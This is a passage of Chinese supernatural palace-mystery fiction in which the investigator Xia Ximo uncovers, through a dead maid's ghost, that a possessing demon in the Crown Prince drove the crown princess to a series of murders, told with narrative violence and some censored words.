王总管反应过来,后背都起了凉意,“你到底是什么人?”
夏熙墨只回了他三个字:“不重要。”
藏在这园子里的秘密,更重要。
王总管被她那双古井一般幽冷的眼睛盯着,心下愈发惴惴不安。
他就知道,大名鼎鼎的“活阎罗”不会出动找上门来,跟在身边的,也绝非什么等闲之辈。
可刑部并无女吏…
难道是暗影司?
“东宫自有制度,就算出了人命,也是东宫自行处置,恐怕由不得三法司来插手。”
他这样回的意思,是告诫对方不要多管闲事。
哪知面前的女子,却根本油盐不进。
“你们处置不了。”
“……”
好大的口气。
王总管都莫名有些钦佩她,年纪轻轻,却有种凌驾于一切之上的魄力。
“即便处置不了…”
话没说完,便被截了过去:“处置不了便放任不理,是吧?”
王总管再次被噎住。
他无话可驳,只好道:“并非不让你们插手,实不相瞒,是因为这园子里…闹鬼!”
“闹鬼”二字一出,盘旋在园子上方的阴风,便像是长了耳朵一般,从二人身旁掀过,诡异至极。
夏熙墨却泰然自若:“不用你说。”
见她毫无惧色,王总管更是诧然,“你…难道不怕鬼?”
夏熙墨反倒嗤了一声:“你要是怕,就赶紧走。”
“……”
被她这么一搅合,王总管差点都忘了自己的来意。
偏偏这女子胆大惊人,即便察觉到此地不对劲,依然还要往园子深处走去。
想到她是任风玦的人,王总管就算心里害怕,咬咬牙,也得硬着头皮跟上去。
“姑娘,这园子闹鬼之事,可真不是开玩笑…”
“你就算要去,可否先容我将事情原委仔细说一遍?”
闻言,夏熙墨这才停下脚步。
王总管心下稍定,却喟叹了一声。
“这园中闹鬼之事,还得从一年前说起…”
千秋园本为东宫后花园,向来有“小御花园”之称。
记得太子与太子妃新婚燕尔之时,常于黄昏之际,双双携手游园。
那时节,正值春日,园内花木翁翠,绿浓红俏。
烟波湖上,亦是暖风和煦,落日流金。
望着佳偶玉成,贴身伺候了十几年的王总管,是打心底感到开心。
然而,没过多久,也没有任何征兆,太子忽然就病倒了。
王总管记得,那日与往常一样。
太子自受封过后,除了白日会前往内阁协助几位阁老处理政务外,夜里还会查看圣上曾经批阅过的劄子,一直到深夜。
通常,亥时左右,他就会进咏清斋内提醒太子就寝。
可那天,太子十分专心。
亥时过后,又看了将近半个时辰。
王总管担心太子过于劳累伤神,正要再去提醒,一阵风吹过,咏清斋内的灯就灭了。
他与门口内侍连忙进去查看情况,却见太子伏在案上,已昏了过去。
此时
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的王总管尚不知事态严重,请了府医与太子妃前来,结果,忙了一整宿,都无济于事。
无可奈何之下,只能上报皇宫,请了太医署前来。
然而,太子不仅病得突然,还病得蹊跷,足足昏睡了四天四夜,却在所有人都束手无策的情况下,忽然又醒了过来。
殊不知,东宫的噩梦,也在这时悄然降临。
醒后的太子,看似一切如常,实则性情大变。
他不再与太子妃一同游园,也极少再去承华殿。
两人的关系,已大不如前。
作为端王府的旧人,王总管当然看得出,太子对太子妃的日渐疏冷与不在意。
但他并不知道,二人之间究竟发生了什么…
直到一天夜里,一声惊叫声从未央殿内传来。
王总管赶去时,只见满地的血…
一名宫女,衣衫不整倒在了地上,胸前如同破了一个窟窿,鲜血不停喷涌而出。
而太子妃手里正拿着带血的**,呆滞坐在一旁,早已是六神无主。
死去的宫女,竟是她的贴身宫女,名叫玲珑。
“玲珑是太子妃所杀?”
听到这里,夏熙墨忍不住开口问了一句。
王总管既没有摇头,也没有点头,只道:“看到这样一副场景,就算没人说,都会认为是太子妃所为。”
凶器与**动机皆一目了然。
他们只会觉得,是这名叫玲珑的宫女,胆敢夜爬太子的床,太子妃恼怒之下,失手杀了她…
夏熙墨皱眉:“太子和太子妃没说什么?”
王总管又叹了口气:“太子妃当时那样子,已是吓得说不出话了。”
“至于太子…”
面对这样惊骇凶残的场面,当时的太子,却连眉头都不曾皱一下。
当着众人的面,他望着太子妃,轻描淡写吩咐了一句:“来两个人把尸体埋去千秋园,不得声张。”
听到这里,夏熙墨环顾了一下四周,问了一句:“所以,那宫女死后,你们不问因由,直接就埋了?”
王总管面露惭愧之色:“我也知道,这样不合规矩,但太子发话,且又涉及到太子妃的声誉,我们也只能以这种方式,暂且将事情压下去。”
第94章 珠钗
听了王总管的话,浮荡在一旁的无忧,都忍不住要为其鸣不平了。
“这样做,想不闹鬼都难!”
“但依我看,这园子里的阴煞之气那么重,可不像是只**一个人。”
“绝对…还有好几个!”
夏熙墨也开口了:“闹鬼之事,应该不止是因为这宫女。”
王总管似乎有些心虚,但在对方凌厉的目光注视之下,还是继续说道:“起初出现闹鬼之事,是有人声称在千秋园内,看见了玲珑的鬼魂…”
玲珑死的当晚,未央殿内,有好几名内侍宫女目睹了此事。
因此,就算明令禁止传播此事,却也不可避免,宫人之间背下私传。
而就在玲珑去世的头七之夜。
两名当值的宫女,在夜间经过千秋园时,却听见林间传来凄厉的哭声。
她们都听说过太子妃身边贴身宫女惨死之事,吓得当即拔腿就跑。
然而,其中一名宫女在慌张之下,不慎摔倒,扭到脚后便动不得。
另一名宫女见状,竟全然不顾同伴,先行跑了。
结果在第二日清晨,千秋园内多了一具尸体,正是落单的那名宫女。
其死状与玲珑完全一致,都是胸前如同破了一个窟窿,鲜血在身下洇开一大片。
事情传开后,东宫上下,都以为是玲珑的鬼魂在索命。
因此,夜里几乎无人敢从千秋园而过。
想到那两具女尸的惨状,王总管愈发觉得浑身发冷,他下意识搓了搓手臂,又接着说道:“本以为,那玲珑的鬼魂索了命后,事情就能平息。”
事实上,事态却开始向着不可控的方向发展…
往后的每月,都会有女子,以同样的死法死去。
起初是宫女,接着,是太子侍妾,甚至宫内的乐姬舞姬。
前前后后,**七八个人。
王总管活了大半辈子,对于鬼神之神向来是半信半疑。
但自从亲身经历了这样的事情,却是不得不信了。
他甚至尝试过私下去找捉鬼辟邪的术士,但被太子得知后,当即震怒,并统统赶了出去。
他甚至明令禁止,东宫内不得信奉鬼神,若再有“厉鬼索命”的说法传出,一经发现,当即杖毙。
夏熙墨嗤之以鼻:“邪成这样,还不信鬼神?我看他才是最“邪”的那一个。”
听她这样出言不逊,王总管竟难得没有辩驳。
因为连他也觉得,这事无论怎么说,都透着诡异与邪气。
他看着这日渐萧瑟的园子,再想到初到东宫的情形,眼神中竟有几分掩不住的悲痛之意。
“这一年间,已经**十人,渐渐地,别说夜里,白天都无人敢从此处经过。”
“好好的园子,却成了这样…”
夏熙墨没空听他伤春悲秋:“事情说清楚了,你若是怕,就先走。”
王总管一惊,“姑娘,你不会以为我在同你开玩笑吧?这里头真的…”
“有鬼。”夏熙墨再次截断他的话:“我知道。”
王总管张了张嘴,一脸难以置信,“你就不怕自己…也被缠上?”
“怕。”
她回了一字,随即却道:“怕那些鬼不出来。”
王总管惊了又惊,上下将其打量,心中又多了一种猜测。
难不成,暗影司里还有会捉鬼辟邪的能人?
正愣着神,眼角的余光里,却瞥见那雾蒙蒙的树影之间,似有什么东西一晃而过。
王总管吓得呼吸一滞,手指了过去,“…鬼!”
夏熙墨却道:“不是鬼,是人。”
“…人?”
他还没反应过来,面前的女子便如疾风一般,快步追了过去。
自多了地君那五成魂力,夏熙墨的手脚,较之从前都敏捷许多。
此时,她脚下如乘风,片刻之间,就追上了前面的人。
“站住!”
那逃跑的人发现自己被追上,索性就立在原地不走了。
夏熙墨又靠近几步,却发现是一名身形纤长的女子。
她披着一件玄色斗篷,微垂着头,几乎罩住了半张脸。
听见脚步声靠近,反而冷声喝止道:“本宫命你,不准过来。”
夏熙墨当然不会听,但闻声而来的王总管,忽然喊道:“是太子妃娘
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娘!”
王总管的声音,让唐月琅浑身一震,倒是慢慢转过身来。
“娘娘为何会在此处?”
王总管显然不解。
唐月琅闻言,眸色一冷,却傲然道:“本宫想出来,难道有人拦得住?”
“不是这个意思…”
王总管解释:“老奴的意思是,娘娘明知这园子已是东宫禁地…”
“不知!”
唐月琅厉声驳了他:“本宫只知,这里是东宫的后花园。”
说到“后花园”三字时,她声音微哑,想必已是触景生情。
夏熙墨却注意到她那双缩在衣袖内的手,全是泥污,想必来此另有目的。
她直截了当地问:“你那贴身宫女是你杀的?”
听了这话,王总管一颗心差点跳到嗓子眼。
这女子怎么什么都敢问?
唐月琅的眸色间闪过一丝复杂之色,仅只一霎,又恢复漠然。
“你是什么人?也配来问本宫?”
夏熙墨面色却比她更冷:“**偿命,我当然有资格问你。”
唐月琅隐隐被她气势所压,一时怔然,似乎在猜测她的身份。
一旁的王总管却忍不住道:“太子妃娘娘,这位是任小侯爷的人,您若有什么冤屈…”
“闭嘴!”唐月琅却傲然打断了他:“本宫堂堂太子妃,就算是他任风玦来了,也不敢这样质问本宫!”
夏熙墨眯了一下眼睛,已不打算跟她多费口舌,正要再上前一步,脚下似是踩到了什么东西。
低头一看,竟是一支珠钗。
她正要弯腰拾起时,那唐月琅却忽然冲上来,抢先一步,将珠钗夺了过去。
见她如此紧张此物,夏熙墨冷笑一声,指间轻轻一动,珠钗便再次掉在地上。
唐月琅再想去捡,却发现身体竟僵在原地动弹不得,心下不免惊恐。
“是你的东西?你就敢抢?”
夏熙墨冷冷瞟了她一眼,随即,当着她的面,弯腰拾起,并将珠钗拿在手里打量。
唐月琅见状,面上惊怒交加,隐隐还有几分焦急之色。
“你把东西还给我!”
第95章 玲珑
一支小巧的宝蓝点翠珠钗,质地算不得上乘,做工也不精细,并无稀奇之处。
根本衬不上身份尊贵的太子妃娘娘。
但是…
钗中附着一缕阴魂,怨气冲天。
夏熙墨轻抚“钗中物”,冷冷看了唐月琅一眼:“你来园中,就是为了这个?”
唐月琅被扫这么一眼,心中的惊惧之意更甚。
她甚至隐隐觉得,对方似乎已经知道了什么…
“与你无关!”
唐月琅身体受制,声音也颤抖,却执拗着不肯松口。
于是,夏熙墨拿珠钗的手悄悄用了几分力。
“出来。”
她薄唇轻启,吐出两个字。
唐月琅微微愣住,一旁的王总管更不知其意。
片刻后,一阵阴风开始在林间盘旋,吹得不远处的一株枯枝玉兰,摇曳不定。
王总管大惊失色,吓得后退了几步。
接着,眼角余光里瞥见雾气之中,竟多了一道影子。
他一颗心再次提到了嗓子眼,侧头望去,不由得惊叫一声,跌坐在地上。
“鬼!这次真是鬼!”
“是…是玲珑的鬼魂!”
“姑娘,她又来索命了!”
王总管生怕夏熙墨不信,指着那道影子就大喊。
夏熙墨有些嫌吵,瞥了他一眼,“看到了。”
园内阴煞之气浓厚,能滋养鬼物。
而凡人在此地呆久了,受其影响,也能看到鬼物。
王总管见她仍旧神色自若,并无惧色,倒自觉闭嘴了。
或许,自己的猜测是对的。
这女子真有本事!
雾中鬼影,足不点地的朝着这边靠近,所到之处,更是阴气弥漫。
唐月琅也看见了。
但她眼中,没有害怕,反而噙着泪光。
鬼影越来越近,一直飘到三人跟前。
阴风也在这时停了下来。
夏熙墨打量着这缕阴魂:“说吧,杀你的凶手是谁?”
鬼影却望向了唐月琅。
见这主仆二人相视不语,足见一年前的事情,必有隐情。
沉默间,夏熙墨又看向唐月琅,问她:“还要隐瞒?”
一旁的王总管固然害怕,却也希望太子妃能说出实情。
他颤声道:“这一年间发生了太多事,老奴知晓,是太子殿下对不住您。”
“但老奴觉得,你二人多年的感情,不会无缘无故就闹到今日这个局面。”
“其中必是有什么事情,对不对?”
一番话说着,这位四旬老仆,竟也忍不住热泪盈眶。
唐月琅总算有一丝动容。
她看了一眼玲珑的鬼魂,又看到一眼王总管。
最后,目光落到了夏熙墨身上。
“玲珑…确实是我亲手杀的。”
此话一出,原本还满脸期待的王总管,面如死灰,嘴唇翁张,却说不出话来。
唐月琅感受到身体的那股牵制力逐渐消失,腿脚一软,却跌坐在地上。
她抬起自己布满泥污的手,指尖轻颤,又低低说了一句:“但那并非我意,而是…”
夏熙墨居高临下看着她,“谁?”
唐月琅摇了摇头,满脸痛苦,“我…不知道。”
“我不知道‘她’是谁!”
这话让王总管听得一头雾水,包括浮荡在一旁的无忧,也不免疑惑地竖起了耳朵。
夏熙墨则继续问:“你不知道对方是谁,又为何要这么做?”
唐月琅似乎不忍回想,突然一把捂住了耳朵。
这时,浮荡在一旁的鬼魂玲珑却幽幽开口了。
“小姐不愿回忆,这事,还是由我来说吧…”
闻言,众人的目光,又一齐望向了那抹鬼影。
玲珑是唐月琅的陪嫁婢女,两人自小一起长大,虽为主仆,却情似姐妹。
十几年的朝夕相处,一声声“小姐”不知叫了多少句,让玲珑始终无法改口。
因此,唐月琅初嫁东宫时,她还常常称其为“小姐”,让承华殿的女官听在耳里,多次斥责僭越无礼。
唐月琅得知后,不得没有罚玲珑,反而许下独权,保留了这声称谓。
宫里不比郡公府,处处都是规矩,但玲珑在唐月琅的庇护之下,却过得相当自由。
她本以为,太子殿下待自家小姐情深意重,往后的日子,也必然是琴瑟和鸣。
直到,太子忽然病倒,东宫上下也
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乱了套。
那是玲珑第一次见到自家小姐如此憔悴。
因忧心太子安危,她不分昼夜贴身伺候,偶尔小睡片刻,都会立即惊醒。
所幸,多日劳累伤心,太子最终还是醒了过来。
玲珑本以为,那只是虚惊一场,太子安康,一切都会恢复如常。
可是,太子却变了。
变得猝不及防。
以往,他每日自宫中归来,都会来一趟承华殿,与太子妃一同用晚膳。
用过膳后,两人随即又会携手游园消食。
但病愈后的太子,却如同失忆了一般。
玲珑始终记得那天黄昏时,唐月琅吩咐小厨房做了一桌子太子爱吃的菜,又拿出了自己亲酿的美酒。
她还穿着对方最喜欢的桃粉色织锦春衫,守着时辰,站在承华殿门口恭候。
可等到暮色四合,都不见太子踪影。
这时的唐月琅才知不对劲,因心系太子安危,她急匆匆前往未央殿,却得知对方并未归来。
唐月琅心神不宁,更没胃口,一直在未央殿内等到了深夜。
然而,她却听见女人娇媚的声音,从外殿传来。
那一瞬间,她差点以为自己听错,在玲珑的搀扶之下,走出内殿,顿时如遭雷击。
屏风后,两道身影交织在一起,难分难舍。
唐月琅浑身颤抖着走了过去,却与一双邪肆的眼睛对视。
她吓坏了,跌坐在地上。
听见动静的太子并没有停下来,他只是淡淡瞥了她一眼,说了一句:“原来太子妃也在。”
他依然拥着怀中千娇百媚的女人,并没有觉得此番行为,有愧于妻。
相反,他很享受。
唐月琅内心翻涌如潮,终于承受不住突如其来的冲击,跑了出去。
玲珑也傻眼了,跟在自家小姐身后,跌跌撞撞回到了承华殿。
那夜之后,东宫也变了天。
向来独宠太子妃的太子,开始陆续带不同女人回内苑,又以太子侍妾之名,将她们留在了东宫。
他不再来承华殿,也似乎忘记了曾经的海誓山盟与柔情蜜意。
眼里心里,再也没有她这位相恋多年的正妻。
第96章 夺舍
“我知道,发生了这样的事情,小姐除了在心里伤心之外,并不会做什么…”
“也绝无可能会去找太子问清楚,问明白…”
“甚至对于我,她也不愿说什么…”
身为郡国公嫡长女,唐月琅自小便享受着众星捧月。
她性子高傲,从不肯低头服软。
即使心里呕着血,面上也要表现出一副浑不在意的样子。
外人或许会说她大度。
但玲珑知道,自家小姐的心里,已是凄风苦雨,一片狼藉。
于是,她暗地里悄悄做了一个决定。
她要求见太子,代自家小姐问个清楚明白。
那天夜里,得到太子回宫的消息后,玲珑便悄悄来到未央殿,她清楚记得,当时的殿门口并无内侍看守。
找不到人通报的情况下,她只能自己走了进去。
从前,自家小姐偶尔会亲手做些果子,喊她送往咏清斋或未央殿。
太子殿下爱屋及乌,待她也十分随和。
很多时候无需通报,她拿着食盒就走了进去。
太子更不会怪她无礼,甚至还免了她的见礼。
而今,走进空无一人的宫殿,玲珑莫名开始怀念从前的太子殿下。
她亦有满腔委屈,想替小姐倾诉。
可是,一直走到太子常坐的书案前,都不见人影。
玲珑下意识唤了一声:“太子殿下?”
宫殿深深,无人回应。
而下一秒,她却听见案上的书卷“啪”地一声掉在了地上。
接着,平地起了一阵怪风,将案上纸张吹得哗啦作响。
那场景十分诡异,让玲珑一时之间感到有些无措与害怕。
她下意识想要离去,又是一声清脆声响,似是什么东西滚在了脚边。
低头看去,竟是一颗鸽子蛋大小的明珠。
那颗珠子,在幽暗的宫殿内看起来异常明亮。
一时间,像是有一股怪异的力量驱使着她,将珠子从地上捡了起来。
随后,她回头,就看到一动不动立在自己身后的太子。
太子赵礼似笑非笑地看着她,问她:“喜欢吗?”
玲珑只觉得那声音听在耳里,有种莫名的蛊惑之意。
她不敢答,忙将珠子放在书案上,跟着正要跪拜在地。
这时,却有一只手,轻轻托了她一把。
但托的不是手,而是腰。
过分的亲昵,让玲珑浑身一震,下意识想要拉开距离,却被太子环抱在怀中。
那一瞬间,她头脑一片空白,但很快便反应过来,想要挣脱。
太子却从背后,将她抱得更紧了。
“喜欢的话,孤可以送你。”
他将珠子托在掌心处,又递到她的跟前,眼睛与那珠子一样,熠熠闪着光。
玲珑连忙摇头:“不,太子殿下,奴婢不要!”
“不要?”
太子勾唇一笑,却道:“不要那你来这里干什么?”
玲珑解释道:“奴婢…是为太子妃而来!”
“太子妃啊…”
提及正妻,太子反而嗤笑了一声,“她让你来的?”
“不是,是奴婢自己要来的!”
她仗着胆子,继续说道:“太子殿下已好长一段时间不曾去过承华殿,太子妃娘娘很是想念您。”
“殿下忘了?以往您每日都会过去,与太子妃一同用晚膳,一同游园…”
“如今又为何…”
话没说完,太子却骤然将她拦腰抱起,往内殿走去。
玲珑惊恐万分,挣扎之间,却隐隐看见一道熟悉的身影,在门口处忽隐忽现。
“太子殿下不要!”
她奋力嘶喊着,身上的衣物也开始被撕毁。
太子却恍若未闻,他将她扔在了内殿那张宽阔的架子床上。
在他欺身压下来的那刻,玲珑感到一阵绝望。
随之,她更加真切地看见一道身影立在阴影中,正冷冷目睹着一切。
是自家小姐…
她来了!
玲珑大喊:“小姐!小姐!”
阴影中的人置若罔闻。
玲珑急得大哭,她感受到身前传来冷意,原来衣物尽失,自己已经毫无遮掩。
这种**,使她愈加奋力对抗。
接着,压在身上力量消失了。
太子松开了她。
玲珑几乎连滚带爬地下了床,她跌跌撞撞在殿内找寻自己小姐的身影。
忽然间,却看见了一把雪亮的**。
“小姐…”
手持**的人,正是唐月琅。
她面无表情,眼底木然,一步步朝着自己靠近。
玲珑甚至来不及说上一句话,便被那利刃刺进了胸膛。
血溅在了唐月琅的脸上,她依然无动于衷,甚至来回多次,将刀刃反复刺入,又快又狠。
玲珑难以置信目睹眼前一切。
而在倒地的那刻
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,她竟看见自家小姐的身后,多了一道诡异的影子。
“我清楚看见了那道影子,是她控制了小姐…”
再回想起生前之事,即使身为鬼魂的玲珑,还是忍不住战栗。
而正是那道影子与那些未来得及说出口的话,令她死不瞑目。
在尸体被抬去千秋园埋葬的路上,因小内侍的疏忽,将尸首暴露,并掉落了一支珠钗。
她的怨气,便附在了珠钗之上,成了一缕怨灵。
因生前执念,玲珑找回了承华殿,只想找机会告诉自家小姐真相。
可惜阴阳两隔,对方根本看不到她。
她不甘心,开始流连在承华殿,却发现,殿内不知何时,多了一股只属于恶鬼的阴煞之气。
找了许久,玲珑总算在唐月琅的梳妆台前发现了异样。
一颗珠子。
与未央殿那颗,一模一样。
玲珑知道,这颗珠子里一定藏了什么邪物,想害自家小姐!
果不其然,一天晚上,熟睡中的唐月琅忽然坐起身来。
她如鬼魅一般,悄悄走出宫殿,直往千秋园内而去。
玲珑见状,连忙跟在身后,在经过月渡桥时,她赫然发现,小姐的身后又多了一道影子,与自己死前完全所见一致。
在那道影子驱使之下,唐月琅在千秋园内,杀了一名宫女。
但这次,用的不是**,而是自己的手。
玲珑亲眼看见,自家小姐如恶鬼一般,用手穿过了那宫女的胸膛。
心尖之血,溅了出来,使得影子周身煞气愈加浓烈。
玲珑这才明白过来,分明是这鬼物在利用小姐!
东宫内相继**。
不少人都在谣传,是玲珑的鬼魂在作祟。
只是玲珑知道,那些人究竟是因何而死。
当然,唐月琅也渐渐发现了自身的不对劲。
她开始会听见耳边低语,偶尔在镜前梳妆时,甚至会瞥见一道身影立在身后。
有东西在缠着她…
她起初以为,是玲珑的鬼魂,想要找她报仇。
直到一天夜里惊醒,看见一道影子压在身上,与她紧紧相贴。
冰冷的触感,在肢体上游离,并试图往肌骨里钻。
这诡异的一幕,让她立即意识到,自己的身体,已经被盯上!
也是在一刻,唐月琅看到了影子背后,还有一道黑影,正在奋力阻止,鬼物的侵入。
第97章 护主
“我也是在那时才知晓,原来玲珑的鬼魂真的一直都在身边…”
“只是,她并没有任何想要害我的心,而是…”
“一直在默默护着我。”
唐月琅说着,已是潸然泪下。
而一旁王总管听在耳里,更是神情复杂。
原来,真相是这样?
**的厉鬼不是玲珑,那究竟是什么?
夏熙墨看着这主仆二人,更准确来说,是看着这一人一鬼。
她那向来淡漠疏冷的眸子里,似乎也闪过一丝复杂之色。
灯魂无忧听得啧啧称奇,在旁分析道:“她们口中所说的‘珠子’,应该就是云鹤山的养魂珠了。”
“那在此之前,鬼物大概就养在这珠子里…”
“它**剜心,取的还是心尖血,受害之人肯定怨气冲天,要化为厉鬼邪灵。”
“但整个东宫内,除了这园子里弥漫着阴煞之气外,并不见鬼魂气息,就好像…”
分析到这儿,无忧却忍不住打个寒颤赶紧缩回灯里去,又向夏熙墨道:“这园子里肯定还有更阴邪的东西!”
后者扫了一眼四周,却向唐月琅问道:“你说那东西要夺你身体,后来呢?”
闻言,唐月琅抬手拭去面上泪水,微微仰头。
然而,玲珑却先她一步,幽幽开口了。
“以我的能力,并不足以杀掉那鬼物,只是干涉阻止它。”
“它未能得逞,还是会继续利用小姐的身体。”
“我知道那鬼物的出现,必是太子的阴谋。”
“于是,我想杀了太子…”
因有玲珑这缕怨灵在干涉,那邪物并未能完全占据唐月琅的身体,却依然能附在她的身后,如影随形。
而在邪物的控制之下,她时常会失去自主意识,俨然成了**工具…
所以,每当东宫传来死讯,唐月琅心中都会被惊恐与自咎等复杂情绪所折磨。
加之玲珑的死,她与太子关系日渐恶化,性格也逐渐变得阴鸷异常。
甚至,离经叛道…
玲珑虽能以灵体的方式守护,却终究阴阳两隔,不能阻止她对自己的伤害。
当宫内传出第六个被玲珑鬼魂索命的死者出现时,唐月琅失控般想要毁了自己。
她跳进了烟波湖内,呛了一肚子的水,却没有死。
被护卫捞上来时,奄奄一息。
太子终于来承华殿看她,可却态度冰冷,对她没有任何的疼惜与关护。
那一刻,她像是看到了一个陌生人。
于是,忍不住伸手攥住他的衣袖,嘶声质问:“你究竟是谁?你不是赵礼,你根本不是他!”
太子嘴边噙着笑,眼底却分明疏冷:“太子妃说什么胡话?孤不是赵礼,又能是谁?”
唐月琅咬住下唇,拼命摇头。
“赵礼不会这样对我…他说过,会一生一世爱护我,不让我受一丁点委屈,他绝对不会让我如此痛苦。”
“那就要问太子妃自己了。”
太子将那截袖角从她手里抽离,语气冰冷:“身为太子妃,其职责为辅佐太子,掌管内苑,为皇家开枝散叶,试问,你哪一样做到了?”
听了这番话,唐月琅如坠冰窖。
辅佐太子,掌管内苑,开枝散叶…
一字一句,震耳发聩。
她却想起数月前大婚当晚,那个眉眼弯弯的少年郎饮下合卺酒后,在耳旁说了一句——只要小琅能永远在我身边就好。
前后映照,多么讽刺。
“看好太子妃,若是再有类似事情发生,你们直接提头来见孤。”
见她不语,太子冷冷向四下吩咐了一句,便拂袖离去。
唐月琅心如死灰,什么也不想顾了。
什么家族荣耀?什么一生一世?
她什么都不要,只想回郡公府去,做回父母捧在手中的女儿。
宫人们拦住她,消息也封锁在东宫内,传不出去了…
她无助大喊:“玲珑,玲珑,我想回家!”
“我不要做太子妃!我不要嫁给赵礼了!”
东宫又开始谣传,太子妃疯掉了的消息。
她也确实如同疯了一般。
太子拥着美人夜夜笙歌。
她则趁着醉意,将夜值的东宫护卫喊进承华殿内。
褪去衣衫后,背上露出一道
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道触目惊心的鞭痕,统统都是自我作践的痕迹。
玲珑看得痛心不已,怨气更重,心中恨意更深。
于是,她以魂力附身在一名舞姬身上,潜入未央殿,想要杀了太子。
也就是那晚,她彻底意识到,此刻的“太子”,早已不是曾经的太子。
他的体内,已钻入一只恶鬼。
而这只恶鬼,不仅夺舍了赵礼的躯体,还试图让另一只恶鬼,取代自家小姐。
“我当时附身在一名美貌舞姬身上,跟着一起进了未央殿。”
“可是刚进门,我就发现,太子的目光,一直有意无意地打量着我。”
“我竟天真以为,他只是因为贪图美色,灌了他几杯酒后,就悄悄握紧了袖中**。”
“可就在我以为,能将他一刀毙命时,太子抬手,轻而易举便制住了我…”
太子的手,冰冷有力,即使扼住一个被鬼魂附体的舞姬,也易如反掌。
“还想再死一遍吗?”
他出口,竟这样问。
做了鬼的玲珑,这才能感受到,对方浑身散发而出的阴煞之气,几乎要将自己吞噬。
原来,他竟不是人?
这念头在脑海中浮起后,玲珑没有片刻犹豫,立即逃之夭夭。
而自那次过后,她便发现,千秋园内的煞气越来越浓重,那些曾经被剜心而死之人的鬼魂,开始在园内流连。
但它们似乎没有任何意识,像是被什么东西困在了此处。
怨气冲天,既不能轮回往生,也记不起生前之事。
玲珑也逐渐发觉,自身魂魄也开始受到园内煞气的束缚,一旦离开,魂力就会减弱,慢慢无法化形,只能靠着怨气附在珠钗上。
为了能陪在唐月琅身侧,她托梦告诉对方,一定要将珠钗随身携带。
可唐月琅并不能时刻掌控躯体,此时,之所以出现在园内,就是为了找寻昨夜无故遗落的珠钗。
听到这里,夏熙墨仔细打量了一下唐月琅,对方身上并无任何阴魂气息,足见那“东西”并没有跟上来。
她也不再废话,直接吩咐:“带我去承华殿。”
第98章 恶鬼
承华殿前,四名宫女正焦急站在门前张望。
太子妃本在禁足期间…
若被太子知晓,她偷跑了出去,殿内人只怕都要受到牵连。
焦灼之间,其中一名眼尖的宫女率先看见了太子妃的身影。
“是太子妃娘娘!”
另一人望去,则疑惑道:“还有王总管,旁边那位又是谁?”
“好似…不是宫内的人。”
二人小声嘀咕了几句后,才迎上前去。
“见过总管大人。”
“娘娘,您怎么跑出去了?”
宫女们见礼后,又想上前搀扶太子妃以示尽责,却被对方一把推开。
“滚开,别碰本宫!”
她态度冷硬,宫女们讪讪后退,闻见动静的承华殿女官林如意,则立即迎了出来。
“王总管怎么突然来了?”
面对太子妃偷跑出去,又带回两个人,这林如意眼神里都是戒备与提防。
如今的东宫,太子妃形同虚设,全是太子一人说了算。
身为内苑总管,更无实权,若非是被派了什么差事,一般不会来承华殿。
王总管还未开口说话,身旁的夏熙墨竟旁若无人一般,径自往殿内走去。
林如意微微一惊,斥道:“站住!”
她一声呵斥之下,声势十足,怎料那“小厮”竟连脚步都不曾停顿,一口气就走到了殿门前。
“放肆,快…”
林如意正要命令宫女们拦人,却不料,竟被唐月琅抬手打了一巴掌。
“本宫在此,轮得到你说话?”
这清脆的一巴掌,直接把林如意打懵了。
要知道,自从太子妃“失宠”跳湖,不受太子重视之后,唐月琅大多时候都像是得了失心疯。
而林如意向来趋炎附势。
她私心觉得,这太子妃如此作践自己,被废除也是迟早的事,根本不值得她尽心尽力去伺候。
而今,乍然被打了一巴掌,她又像是立即清醒了过来,连忙跪地求饶。
“奴婢多嘴了,请太子妃娘娘责罚!”
唐月琅冷冷扫了她一眼,没再说话,便自行向宫殿内走去。
王总管见状,也急忙跟上。
走在前面的夏熙墨,在听见巴掌声时,倒是稍微顿了一下足。
知道自己不用出手,便头也不回地步入殿内。
甫一入门,阴气瘆人,看来鬼物确实滞留在此。
夏熙墨抚着手中珠钗,问道:“你说的那颗珠子,在哪儿?”
钗中怨灵答:“就在梳妆台前,我虽让小姐扔了几次,但最后它还是会莫名自己找回来。”
这种东西一旦缠上,可不是说扔掉就能扔掉的。
更何况,它现在已经算得上是半个“唐月琅”。
夏熙墨了然,走到梳妆台前,见一只颇为显眼的红木匣子,混在妆奁之间,散发着阴冷的煞气。
打开后,里面躺着一颗珠子。
只是,它与之前见过的那几颗都不同。
这颗珠子内里仍为莹白,表层却泛着一丝血色,看起来十分邪乎。
灯魂无忧虽然害怕,还是禁不住好奇,冒出来一探究竟。
但看一眼后,它又连忙缩了回去,并道:“这里面确实养着一缕阴魂,不过,好似比之前那些都要凶猛…”
夏熙墨冷哼一声,“杀了那么多人,吸了那么多怨气,当然凶猛。”
闻声,珠内阴魂似乎感知到什么,轻轻颤动。
而这时,身后的唐月琅与王总管已一前一后进了寝殿。
霎时间,只见一缕黑气从珠内涌出,径自朝着唐月琅而去。
黑气没入眉心,唐月琅顿时后背僵直,片刻后,面上浮起一抹诡笑。
不等众人反应,她转身跑出承华殿,还将门口一名宫女撞翻在地。
夏熙墨想也不想,直接跟上。
被附体后的唐月琅疾奔如风,几乎转瞬之间,身影便没入千秋园。
入园后,她似乎又魂力大涨,不但能瞬移身位,甚至控制园内阴魂。
夏熙墨才站定身子,便听见耳旁有风声呼啸而过,眼角余光里,立即瞥见好几道黑影,从四面八方围了过来。
正如玲珑所言,这些阴魂都是曾经被剜心而死的人,虽怨气冲天,却早已记不得自己被何人所害。
此时,甚至还要**害自己
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的恶鬼所利用。
夏熙墨看了一眼不远处的“唐月琅”,冷声道:“你要是现在自报家门,然后乖乖从她身上出来,我可以让你死得舒服点。”
听她如此大言不惭,“唐月琅”抬起空洞的双眸,冷冷凝视着她。
四周阴魂,纷纷扑了上来,想要牵制夏熙墨。
然而,尚未靠近,便被她身上所散发出的“鬼王魂力”所震慑。
世间阴魂,没有不怕阴司之主的。
地君所授的五成魂力,还带着红莲业火之气,吓唬这些无意识的阴魂确实刚刚好。
“唐月琅”感受到她身上气息特殊,下意识也要逃。
然而下一秒,一股可怕的压制力,便尾随而至。
它骇然回头,却见一只手覆盖了过来,竟生生将它从“唐月琅”身上剥离而出。
接触的那刻,化作影子的恶鬼,却能感受到面前的至阴之躯,不禁十分垂涎。
它当即绕到夏熙墨的身后…
无忧在灯内感受到不对劲,大喊:“别让它趁虚而入。”
然而,夏熙墨却冷冷勾唇,“等的就是你。”
——
任风玦从太子的咏清斋内出来,四下掠了一圈,却并不见夏熙墨的身影。
唤来内侍问了一句,才知对方并没有交代就走开了。
对于这种行为,任大人倒已是见怪不怪。
